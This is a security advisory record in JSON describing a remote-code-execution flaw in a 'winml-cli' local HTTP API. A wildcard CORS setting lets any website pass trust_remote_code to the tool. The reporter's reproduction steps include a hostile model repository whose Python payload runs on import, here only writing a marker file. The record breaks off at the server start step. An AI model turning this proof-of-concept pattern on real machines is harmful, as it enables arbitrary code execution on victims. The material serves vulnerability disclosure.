{"schema_version":"1.9.0","id":"GHSA-96p9-rh4f-92cf","published":"2026-09-08T21:27:59Z","modified":"2026-09-10T12:25:25.044897858Z","aliases":["CVE-2026-84452","PYSEC-2026-3944"],"summary":"Windows ML CLI: CORS misconfig enables localhost RCE","details":"Case Description:\n\nMSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).\n\nFinder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.\n\nserve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=[\"*\"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.\n\nbuild and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.\n\nReported Repro Steps:\n\n1. Setup\n\ngit clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn\npython3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click\n2. Hostile model repo (payload is module-level → runs on import)\n\ncat > /tmp/poc/evil/pwn/config.json <<'EOF'\n{\"model_type\":\"pwn\",\"auto_map\":{\"AutoConfig\":\"configuration_pwn.PwnConfig\"}}\nEOF\ncat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF'\nimport getpass, os, socket, time\nfrom transformers import PretrainedConfig\nwith open(os.environ[\"PWN_MARKER\"], \"w\") as f:\n f.write(f\"ARBITRARY CODE EXECUTION\\ntime={time.strftime('%F %T')}\\n\"\n f\"user={getpass.getuser()}\\nhost={socket.gethostname()}\\npid={os.getpid()}\\n\")\nclass PwnConfig(PretrainedConfig):\n model_type = \"pwn\"\nEOF\n3. Start server\n\nWindows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000\n\nLinux needs a stub for the Windows-only PDH module (no security relevance):\n\ncat > /tmp/poc/serve.py <<'EOF'\nimport os, sys, types, uvicorn\nm = types.ModuleType(\"winml.modelkit.session.monitor._pdh\")\nclass PdhPoller:\n def __init__(s,*a,**k): pass\n def start(s,*a,**k): pass\n def stop(s,*a,**k): pass\n def poll(s,*a,**k): return {}\n def sample(s,*a,**k): return {}\n def close(s,*a,**k): pass\nm.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False\nsys.modules[\"winml.modelkit.session.monitor._pdh\"] = m\nfrom winml.modelkit.serve.cli_api import app\nuvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\nEOF\ncd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1